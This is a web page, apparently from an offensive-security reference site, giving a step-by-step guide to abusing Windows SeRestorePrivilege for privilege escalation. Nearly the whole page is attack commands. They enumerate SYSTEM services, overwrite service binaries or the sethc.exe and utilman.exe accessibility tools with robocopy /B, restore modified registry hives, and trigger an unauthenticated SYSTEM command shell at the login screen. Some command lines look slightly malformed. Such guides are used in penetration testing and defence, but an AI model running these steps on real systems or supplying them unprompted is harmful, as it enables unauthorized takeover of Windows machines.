Skip to content
HackIndex.io

SeRestorePrivilege Abuse for Privilege Escalation

3 min read Created Mar 15, 2026 Last updated Mar 15, 2026

SeRestorePrivilege allows writing to any file on the system regardless of ACLs: the counterpart to SeBackupPrivilege. With this privilege you can overwrite service binaries, DLLs in system directories, and registry-backed files. The classic path is overwriting a service binary or a utilman/sethc sticky-key style binary, then triggering execution.

  • Overwrite a SYSTEM service binary with a payload using robocopy /B

  • Replace accessibility tools (sethc.exe, utilman.exe) for pre-login SYSTEM shells

  • Restore modified registry hives to change service ImagePath values

SeRestorePrivilege Windows Escalation Check

C:\Users\Guest\Desktop> whoami /priv | findstr SeRestorePrivilege

SeRestorePrivilege must show Enabled. If disabled, enable it:

PS C:\Users\Guest\Desktop> # SeBackupPrivilegeCmdLets.dll (giuliano108) only exports SeBackupPrivilege cmdlets
PS C:\Users\Guest\Desktop> # Enable SeRestorePrivilege via AdjustTokenPrivileges or EnableAllTokenPrivs:
PS C:\Users\Guest\Desktop> # robocopy /B and reg restore activate backup/restore semantics automatically when the privilege is present in the token

Step 1: Identify a Target File to Overwrite

Service binary (most reliable):

Find a service that runs as SYSTEM and whose binary you can overwrite using restore semantics:

C:\Users\Guest\Desktop> # Find SYSTEM services
C:\Users\Guest\Desktop> wmic service where "StartName='LocalSystem'" get Name,PathName | more
 
C:\Users\Guest\Desktop> # Any service binary in a non-standard location
C:\Users\Guest\Desktop> sc query type= all | findstr SERVICE_NAME
C:\Users\Guest\Desktop> sc qc ServiceName

System utility overwrite (for RDP/console access):

When you have RDP or physical console access, overwrite accessibility tools that launch before login:

C:\Windows\System32\sethc.exe         (Sticky Keys: Shift x5)
C:\Windows\System32\utilman.exe       (Accessibility: Win+U)
C:\Windows\System32\osk.exe           (On-Screen Keyboard)
C:\Windows\System32\narrator.exe      (Narrator)

Step 2: Overwrite the Target File

Use robocopy /B (backup mode): it respects SeRestorePrivilege and ignores file ACLs:

C:\Users\Guest\Desktop> # Overwrite a service binary
C:\Users\Guest\Desktop> robocopy /B C:\Windows\Temp C:\Path\To service.exe /MT:1
 
C:\Users\Guest\Desktop> # Overwrite a system utility (sticky keys: Shift x5)
C:\Users\Guest\Desktop> robocopy /B C:\Windows\Temp C:\Windows\System32 sethc.exe /MT:1

Using the reg restore API via PowerShell for registry-backed files:

C:\Users\Guest\Desktop> reg restore HKLM\SYSTEM C:\Windows\Temp\modified_SYSTEM

Step 3: Trigger Execution

If you overwrote a service binary:

C:\Users\Guest\Desktop> sc stop ServiceName
C:\Users\Guest\Desktop> sc start ServiceName

If you overwrote sethc.exe with cmd.exe (RDP/console):

  1. Connect to RDP or sit at the console login screen

  2. Press Shift five times rapidly

  3. A SYSTEM cmd.exe opens without authentication

If you overwrote utilman.exe with cmd.exe:

  1. At the Windows login screen, press Win+U

  2. SYSTEM cmd.exe opens

Step 4: Restore Original Files

After escalating, restore the original files to avoid breaking the system:

PS C:\Users\Guest\Desktop> # Restore the original binary from backup using robocopy /B
PS C:\Users\Guest\Desktop> robocopy /B C:\Path\To original.exe.bak C:\Path\To original.exe /MT:1

If you did not back up the original, restore from the Windows installation:

C:\Users\Guest\Desktop> # Extract original from WinSxS
C:\Users\Guest\Desktop> dism /online /cleanup-image /restorehealth
C:\Users\Guest\Desktop> sfc /scannow

SeRestorePrivilege via Registry

With SeRestorePrivilege you can also restore registry hives, which allows modifying service ImagePath values:

C:\Users\Guest\Desktop> # Load a modified registry hive
C:\Users\Guest\Desktop> reg load HKLM\TempHive C:\Windows\Temp\modified_hive
C:\Users\Guest\Desktop> # Modify values in HKLM\TempHive
C:\Users\Guest\Desktop> reg unload HKLM\TempHive
C:\Users\Guest\Desktop> # Restore to the live hive location
C:\Users\Guest\Desktop> reg restore HKLM\SYSTEM C:\Windows\Temp\modified_SYSTEM

References